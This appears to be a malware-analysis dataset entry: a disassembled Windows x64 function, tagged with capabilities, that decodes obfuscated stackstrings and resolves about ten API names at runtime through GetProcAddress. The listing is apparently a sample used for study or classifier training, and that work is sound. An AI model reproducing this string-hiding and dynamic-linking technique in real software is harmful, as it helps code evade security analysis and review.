Function at 0x140011159
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
jmp 0x14001be50
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rbp + 0x278], rax
mov rdi, rcx
lea rcx, [0x14003971d]
call fcn.140011b90
mov edx, 0x20
lea rcx, [rbp + 0xc8]
call fcn.1400110af
lea rcx, [rsp + 0x20]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x30], 0x3f435021
mov dword [rsp + 0x34], 0x502e4352
mov dword [rsp + 0x38], 0x5143414d
mov word [rsp + 0x3c], 0x1f51
lea r8, [rsp + 0x3e]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xc8]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 0xa8]
call fcn.1400110af
lea rcx, [rsp + 0x21]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x70], 0x52475035
mov dword [rsp + 0x74], 0x4d502e43
mov dword [rsp + 0x78], 0x51514341
mov dword [rsp + 0x7c], 0x4d4b432b
mov word [rbp - 0x80], 0x5750
lea r8, [rbp - 0x7e]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xa8]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 0x88]
call fcn.1400110af
lea rcx, [rsp + 0x20]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x60], 0x52504734
mov dword [rsp + 0x64], 0x2e4a3f53
mov dword [rsp + 0x68], 0x43524d50
mov dword [rsp + 0x6c], 0x56235241
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x68]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x88]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 0x68]
call fcn.1400110af
lea rcx, [rsp + 0x21]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x50], 0x32524331
mov dword [rsp + 0x54], 0x3f435046
mov dword [rsp + 0x58], 0x4c4d2142
mov dword [rsp + 0x5c], 0x52564352
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x68]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 0x48]
call fcn.1400110af
lea rcx, [rsp + 0x20]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x30], 0x53514330
mov dword [rsp + 0x34], 0x4632434b
mov dword [rsp + 0x38], 0x423f4350
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x48]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 0x28]
call fcn.1400110af
lea rcx, [rsp + 0x21]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x60], 0x52504734
mov dword [rsp + 0x64], 0x1f4a3f53
mov dword [rsp + 0x68], 0x414d4a4a
mov word [rsp + 0x6c], 0x5623
lea r8, [rsp + 0x6e]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x28]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.1400110af
lea rcx, [rsp + 0x20]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x30], 0x423f4330
mov dword [rsp + 0x34], 0x414d502e
mov dword [rsp + 0x38], 0x2b515143
mov dword [rsp + 0x3c], 0x504d4b43
mov byte [rsp + 0x40], 0x57
lea r8, [rsp + 0x41]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 8]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp - 0x18]
call fcn.1400110af
lea rcx, [rsp + 0x21]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x70], 0x4c33522c
mov dword [rsp + 0x74], 0x344e3f4b
mov dword [rsp + 0x78], 0x2d554347
mov dword [rsp + 0x7c], 0x41433144
mov dword [rbp - 0x80], 0x4c4d4752
lea r8, [rbp - 0x7c]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp - 0x38]
call fcn.1400110af
lea rcx, [rsp + 0x20]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x50], 0x32524325
mov dword [rsp + 0x54], 0x3f435046
mov dword [rsp + 0x58], 0x4c4d2142
mov dword [rsp + 0x5c], 0x52564352
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x38]
call fcn.140011906
nop
mov edx, 0x20
lea rcx, [rbp - 0x58]
call fcn.1400110af
lea rcx, [rsp + 0x21]
call fcn.140011587
mov rbx, rax
mov dword [rsp + 0x30], 0x3f435021
mov dword [rsp + 0x34], 0x46324352
mov dword [rsp + 0x38], 0x423f4350
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.14001150f
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.140011906
nop
mov r8d, 0xde
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x228]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x200]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x250]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x1d8]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x1b0]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x188]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x160]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x138]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x110]
call fcn.140011ab4
nop
mov r8d, 0xde
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xe8]
call fcn.140011ab4
cmp qword [rdi], 0
je 0x14001c483
lea rcx, [rbp + 0x228]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x10], rax
lea rcx, [rbp + 0x188]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x18], rax
lea rcx, [rbp + 0x200]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x20], rax
lea rcx, [rbp + 0x110]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x30], rax
lea rcx, [rbp + 0x160]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x38], rax
lea rcx, [rbp + 0x1d8]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
lea rcx, [rbp + 0x1b0]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
lea rcx, [rbp + 0xe8]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x50], rax
cmp qword [rdi + 8], 0
je 0x14001c4a7
lea rcx, [rbp + 0x138]
call fcn.14001110e
mov rdx, rax
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x28], rax
lea rcx, [rbp + 0xe8]
call fcn.140011217
nop
lea rcx, [rbp + 0x110]
call fcn.140011217
nop
lea rcx, [rbp + 0x138]
call fcn.140011217
nop
lea rcx, [rbp + 0x160]
call fcn.140011217
nop
lea rcx, [rbp + 0x188]
call fcn.140011217
nop
lea rcx, [rbp + 0x1b0]
call fcn.140011217
nop
lea rcx, [rbp + 0x1d8]
call fcn.140011217
nop
lea rcx, [rbp + 0x250]
call fcn.140011217
nop
lea rcx, [rbp + 0x200]
call fcn.140011217
nop
lea rcx, [rbp + 0x228]
call fcn.140011217
nop
lea rcx, [rbp - 0x58]
call fcn.140011366
nop
lea rcx, [rbp - 0x38]
call fcn.140011366
nop
lea rcx, [rbp - 0x18]
call fcn.140011366
nop
lea rcx, [rbp + 8]
call fcn.140011366
nop
lea rcx, [rbp + 0x28]
call fcn.140011366
nop
lea rcx, [rbp + 0x48]
call fcn.140011366
nop
lea rcx, [rbp + 0x68]
call fcn.140011366
nop
lea rcx, [rbp + 0x88]
call fcn.140011366
nop
lea rcx, [rbp + 0xa8]
call fcn.140011366
nop
lea rcx, [rbp + 0xc8]
call fcn.140011366
mov rcx, qword [rbp + 0x278]
xor rcx, rsp
call fcn.1400115c3
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret